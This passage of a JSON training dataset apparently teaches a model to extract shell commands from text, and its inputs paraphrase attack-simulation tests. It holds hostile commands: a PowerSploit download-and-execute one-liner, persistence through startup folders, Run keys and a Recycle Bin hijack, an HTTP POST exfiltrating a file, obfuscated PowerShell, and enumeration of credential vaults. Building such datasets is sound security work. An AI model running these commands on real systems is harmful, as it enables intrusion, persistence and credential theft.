}\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    A virtual machine can be identified when one of the device manufacturers is a virtualization software, which can be checked with the command: if (ioreg -l | grep -e Manufacturer -e 'Vendor Name' | grep -iE 'Oracle|VirtualBox|VMWare|Parallels') then echo 'Virtualization Environment detected'; fi;; You can determine if a machine is running in a virtualized environment by running this command, which checks the manufacturer and model details: $Manufacturer = Get-WmiObject -Class Win32_ComputerSystem | select-object -expandproperty \"Manufacturer\"\n$Model = Get-WmiObject -Class Win32_ComputerSystem | select-object -expandproperty \"Model\"\nif((($Manufacturer.ToLower() -eq \"microsoft corporation\") -and ($Model.ToLower().contains(\"virtual\"))) -or ($Manufacturer.ToLower().contains(\"vmware\")) -or ($Model.ToLower() -eq \"virtualbox\")) {write-host \"Virtualization environment detected!\"} else {write-host \"No virtualization environment detected!\"}\n",
    "output": "{\"command_list\": [\"if (ioreg -l | grep -e Manufacturer -e 'Vendor Name' | grep -iE 'Oracle|VirtualBox|VMWare|Parallels') then echo 'Virtualization Environment detected'; fi;\\n\", \"$Manufacturer = Get-WmiObject -Class Win32_ComputerSystem | select-object -expandproperty \\\"Manufacturer\\\"\\n$Model = Get-WmiObject -Class Win32_ComputerSystem | select-object -expandproperty \\\"Model\\\"\\nif((($Manufacturer.ToLower() -eq \\\"microsoft corporation\\\") -and ($Model.ToLower().contains(\\\"virtual\\\"))) -or ($Manufacturer.ToLower().contains(\\\"vmware\\\")) -or ($Model.ToLower() -eq \\\"virtualbox\\\")) {write-host \\\"Virtualization environment detected!\\\"} else {write-host \\\"No virtualization environment detected!\\\"}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The following command will insert a new line into the user's .bash_profile: echo '#{command_to_add}' >> ~/.bash_profile\n; To append a command to the current user's .bashrc file, use the following command: echo '#{command_to_add}' >> ~/.bashrc\n",
    "output": "{\"command_list\": [\"echo '#{command_to_add}' >> ~/.bash_profile\\n\", \"echo '#{command_to_add}' >> ~/.bashrc\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can place a benign executable shortcut in the current user's startup directory by executing this PowerShell command:\n$Target = \"C:\\Windows\\System32\\calc.exe\"\n$ShortcutLocation = \"$home\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\calc_exe.lnk\"\n$WScriptShell = New-Object -ComObject WScript.Shell\n$Create = $WScriptShell.CreateShortcut($ShortcutLocation)\n$Create.TargetPath = $Target\n$Create.Save(); This technique adds persistence by modifying the Recycle Bin's behavior, executing calc.exe upon clicking, with the command: reg ADD \"HKCR\\CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\shell\\open\\command\" /ve /d \"calc.exe\" /f",
    "output": "{\"command_list\": [\"$Target = \\\"C:\\\\Windows\\\\System32\\\\calc.exe\\\"\\n$ShortcutLocation = \\\"$home\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\Startup\\\\calc_exe.lnk\\\"\\n$WScriptShell = New-Object -ComObject WScript.Shell\\n$Create = $WScriptShell.CreateShortcut($ShortcutLocation)\\n$Create.TargetPath = $Target\\n$Create.Save()      \", \"reg ADD \\\"HKCR\\\\CLSID\\\\{645FF040-5081-101B-9F08-00AA002F954E}\\\\shell\\\\open\\\\command\\\" /ve /d \\\"calc.exe\\\" /f\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To modify the registry and redirect the Startup folder, first create the new directory and copy the payload, then update the registry using the following commands:\nNew-Item -ItemType Directory -path \"#{new_startup_folder}\"\nCopy-Item -path \"#{payload}\" -destination \"#{new_startup_folder}\"\nSet-ItemProperty -Path  \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\" -Name \"Startup\" -Value \"#{new_startup_folder}\"\n; This test modifies the registry to execute calc.exe at startup by running the following PowerShell commands, which require a system reboot to take effect: \nif (!(Test-Path -Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\")){\n  New-Item -ItemType Key -Path  \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\"\n}\nSet-ItemProperty -Path  \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\" -Name \"#{target_key_value_name}\" -Value \"#{payload}\"",
    "output": "{\"command_list\": [\"New-Item -ItemType Directory -path \\\"#{new_startup_folder}\\\"\\nCopy-Item -path \\\"#{payload}\\\" -destination \\\"#{new_startup_folder}\\\"\\nSet-ItemProperty -Path  \\\"HKCU:\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\User Shell Folders\\\" -Name \\\"Startup\\\" -Value \\\"#{new_startup_folder}\\\"\\n\", \"if (!(Test-Path -Path \\\"HKCU:\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\Run\\\")){\\n  New-Item -ItemType Key -Path  \\\"HKCU:\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\Run\\\"\\n}\\nSet-ItemProperty -Path  \\\"HKCU:\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\Run\\\" -Name \\\"#{target_key_value_name}\\\" -Value \\\"#{payload}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    When searching for bookmark files in Chrome and Opera on Windows, execute this command to display their paths: Get-ChildItem -Path C:\\Users\\ -Filter Bookmarks -Recurse -ErrorAction SilentlyContinue -Force; For finding bookmark files from Chrome and Edge Chromium browsers on Windows, execute this command: where /R C:\\Users\\ Bookmarks",
    "output": "{\"command_list\": [\"Get-ChildItem -Path C:\\\\Users\\\\ -Filter Bookmarks -Recurse -ErrorAction SilentlyContinue -Force\\n\", \"where /R C:\\\\Users\\\\ Bookmarks\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    An Excel file containing VBA Macro with sensitive data (about 20 valid credit card numbers) will be exfiltrated via HTTP when running this command: Invoke-WebRequest -Uri #{ip_address} -Method POST -Body \"#{input_file}\"\n; To display the message 'Hello, from PowerShell!' through an obfuscated PowerShell script, use this command: $cmDwhy =[TyPe](\"{0}{1}\" -f 'S','TrING')  ;   $pz2Sb0  =[TYpE](\"{1}{0}{2}\"-f'nv','cO','ert')  ;  &(\"{0}{2}{3}{1}{4}\" -f'In','SiO','vOKe-EXp','ReS','n') (  &(\"{1}{2}{0}\"-f'blE','gET-','vaRIA')  ('CMdw'+'h'+'y')).\"v`ALUe\"::(\"{1}{0}\" -f'iN','jO').Invoke('',( (127, 162,151, 164,145 ,55 , 110 ,157 ,163 , 164 ,40,47, 110 , 145 ,154, 154 ,157 , 54 ,40, 146, 162 , 157,155 ,40, 120, 157 ,167,145 , 162 ,123,150 ,145 , 154 , 154 , 41,47)| .('%') { ( [CHAR] (  $Pz2sB0::\"t`OinT`16\"(( [sTring]${_}) ,8)))})) )",
    "output": "{\"command_list\": [\"Invoke-WebRequest -Uri #{ip_address} -Method POST -Body \\\"#{input_file}\\\"\\n\", \"$cmDwhy =[TyPe](\\\"{0}{1}\\\" -f 'S','TrING')  ;   $pz2Sb0  =[TYpE](\\\"{1}{0}{2}\\\"-f'nv','cO','ert')  ;  &(\\\"{0}{2}{3}{1}{4}\\\" -f'In','SiO','vOKe-EXp','ReS','n') (  (&(\\\"{1}{2}{0}\\\"-f'blE','gET-','vaRIA')  ('CMdw'+'h'+'y')).\\\"v`ALUe\\\"::(\\\"{1}{0}\\\" -f'iN','jO').Invoke('',( (127, 162,151, 164,145 ,55 , 110 ,157 ,163 , 164 ,40,47, 110 , 145 ,154, 154 ,157 , 54 ,40, 146, 162 , 157,155 ,40, 120, 157 ,167,145 , 162 ,123,150 ,145 , 154 , 154 , 41,47)| .('%') { ( [CHAR] (  $Pz2sB0::\\\"t`OinT`16\\\"(( [sTring]${_}) ,8)))})) )\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To enumerate credentials stored in the Windows Credentials vault, use the following built-in utility command: vaultcmd /listcreds:\"Windows Credentials\" /all; To enumerate credentials stored in the Web Credentials vault of Windows Credential Manager, use the following command: vaultcmd /listcreds:\"Web Credentials\" /all",
